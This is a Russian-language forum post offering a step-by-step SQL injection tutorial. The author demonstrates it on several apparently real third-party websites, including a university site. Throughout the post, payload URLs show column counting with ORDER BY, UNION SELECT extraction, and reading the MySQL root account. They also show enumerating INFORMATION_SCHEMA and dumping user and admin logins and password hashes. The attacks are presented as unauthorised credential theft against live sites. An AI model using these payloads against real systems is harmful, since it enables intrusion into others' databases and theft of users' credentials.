Полный ФАК по sql инъекции, пошагово с примерами
итак, привет всем, сегодня я хочу научить вас sql инъекции! итак приступим: СКЛ - это база данных, состоит из таблиц,в таблицах есть колонки, в колонках записи. для обнаружении иньекции нам нужно в переменную поставить одинарную кавычку, это самый простой способ обнаружения! для начате переходим по:
[hide=5]http://jcomm.uoregon...rofile.php?id=1[/hide]
это сайт с нъекцией, подставляем ''
[hide=5]http://jcomm.uoregon...rofile.php?id=1'[/hide]
видим ошибку Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\\'''' at line 1SELECT * FROM profile WHERE id = 1\\'' нас интересуют пароли админа, будем их добывать. для того что бы извлечь данные из таблицы нам нужно составить запрос. для этого нужно знать кол во столбцов, делается это при помощи функции order by
[hide=5]http://jcomm.uoregon...d=1 ORDER BY 99[/hide]
выскакиевает ошибка, это значит что столбцов меньше чем 99
[hide=5]http://jcomm.uoregon...id=1 ORDER BY 1[/hide]
ошибки нету, это значит что столбцов больше или равно 1
[hide=5]http://jcomm.uoregon...d=1 order by 24[/hide]
ошибка
[hide=5]http://jcomm.uoregon...d=1 order by 23[/hide]
нету ошибки, значит столбцов 23, теперь мы можем составить запрос. делается это при помощи union select
[hide=5]http://jcomm.uoregon...,11,12,13,14,15 ,16,17,18,19,20,21,22,23/*[/hide]
если вы заметили мы поставили вместо id=1, id=-1 т.к. тут нам нужно подставить несуществующий id. так вот, перейдя по ссылке мы видим циферки. далее нам нужно узнать версию БД, для этого нужно подставить version()
[hide=5]http://jcomm.uoregon...lect 1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23/*[/hide]
но мы видим ошибку Query failed: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ''UNION''SELECT это значит что данные вводяца не в той кодировке, так не всегда, но бывает. для решения проблемы мы должны применить функцию convert нам нужна кодировка latin1 для этого, заместо version() пишем convert(version()+using+latin1) и мы получаем версию: 4.1.13 это чертвёртая версия, лучше пятая, но о ней ниже. теперь пробуем извлечь данные из таблицы mysql.user, для этого в конце запроса ставим +from+mysql.user
[hide=5]http://jcomm.uoregon...,11,12,13,14,15 ,16,17,18,19,20,21,22,23+from+mysql.user/*[/hide]
убираем version() и ставим опять цифры ошибки нет, значит доступ к mysql.user открыт - это очень редко бывает. теперь нам надо узнать логин из этой базы для этого заместо одной из цифр пишем user, но тут нужно снова пименить convert получаем:
[hide=5]http://jcomm.uoregon...er using latin1),3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+ from+mysql.user/*[/hide]
логин root теперь за место user надо подставить password
[hide=5]http://jcomm.uoregon...rd using latin1),3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23+from+mysql.user/*[/hide]
пароля тут нету это по дефолту. итак мы получили логин root, без пароля. теперь рассмотрим пятую версию.
[hide=5]http://expoelectrose.../index.php?id=1'[/hide]
подбираем кол-во столбцов:
[hide=5]http://expoelectrose...id=1 ORDER BY 8[/hide]
составляем запрос:
[hide=5]http://expoelectrose...2,3,4,5,6,7,8/*[/hide]
циферка 7, других нету, поэтому заместо неё и будем подставлять.
[hide=5]http://expoelectrose...,4,5,6,version(),8/*[/hide]
5.0.24-standard в пятой версии есть такая таблица - INFORMATION_SCHEMA.TABLES
[hide=5]http://expoelectrose... INFORMATION_SC HEMA.TABLES/*[/hide]
теперь надо поставить заместо 7 table_name - это колонка в таблице INFORMATION_SCHEMA.TABLES
[hide=5]http://expoelectrose...me,8 from INFOR MATION_SCHEMA.TABLES/*[/hide]
таблица INFORMATION_SCHEMA.TABLES - содержит в себе список все таблиц находящихся в БД колонка table_name выводит имя первой таблици в списке, для того чтобы вывести имя следующей таблицы используется LIMIT для этого пишем в конце запроса, после INFORMATION_SCHEMA.TABLES+limit+1,1, это выведет имя второй таблицы. INFORMATION_SCHEMA.TABLES+limit+2,1 - третей INFORMATION_SCHEMA.TABLES+limit+3,1 - четвёртой в это БД список таблиц заканчивается на 20 вроде, и нужные нам таблици не выводятся. теперь рассмотрим следующий сат, туту уже будет интереснее:
[hide=5]http://www.pressa.ne...l,3,4,5,6,7,8/*[/hide]
null вместо 2 стоит чтобы ничего не выводилось, можете поставить 2. делаем запрос:
[hide=5]http://www.pressa.ne...name from INFOR MATION_SCHEMA.TABLES+limit+0,1/*[/hide]
с помощью лимита можно узнать следующую таблицу, НО! если мы уберём лимит...ВУАЛЯ! мы видим список все таблиц!тут таблицы выводятся массивом берём нужную нам таблицу, пускай это будет user-третья с низу теперь нам нужно узнать имена колонок в этой таблице, для этого есть фича INFOTMATION_SCHEMA.COLUMNS соответственно заместо table_name ставим column_name
[hide=5]http://www.pressa.ne..._name from INFO RMATION_SCHEMA.COLUMNS/*
[/hide]
имён очень много, а нам нужно узнать имена в табличке юзер! для этого в конец запроса ставим +where+table_name=''user''
[hide=5]http://www.pressa.ne..._name from INFO RMATION_SCHEMA.COLUMNS+where+table_name=''user''/*[/hide]
вот имена колонок, нам нужны логин и пассворд =)
[hide=5]http://www.pressa.ne...gin from user/*[/hide]
это логины
[hide=5]http://www.pressa.ne...ord from user/*[/hide]
это пароли но чтобы было удобнее лучше следать так:
[hide=5]http://www.pressa.ne...t(login,char(58) ,password)+from+user/*[/hide]
мы использовали фичу contact а char(58) это ":"(двоеточие) думаю этого хватит, там есть и админы.
[hide=5]http://www.pressa.ne...t(login,char(58) ,password)+from+adin_user/*[/hide]
вот они, их таблица adin_user но их пароли зашифрованы md5 надеюсь вам понравилась моя статья. PS хайди расставлены чтобы все юзеры не накинулись на эти сайты, и они не пропали, ато будет статья без примеров.',
Автор: \6/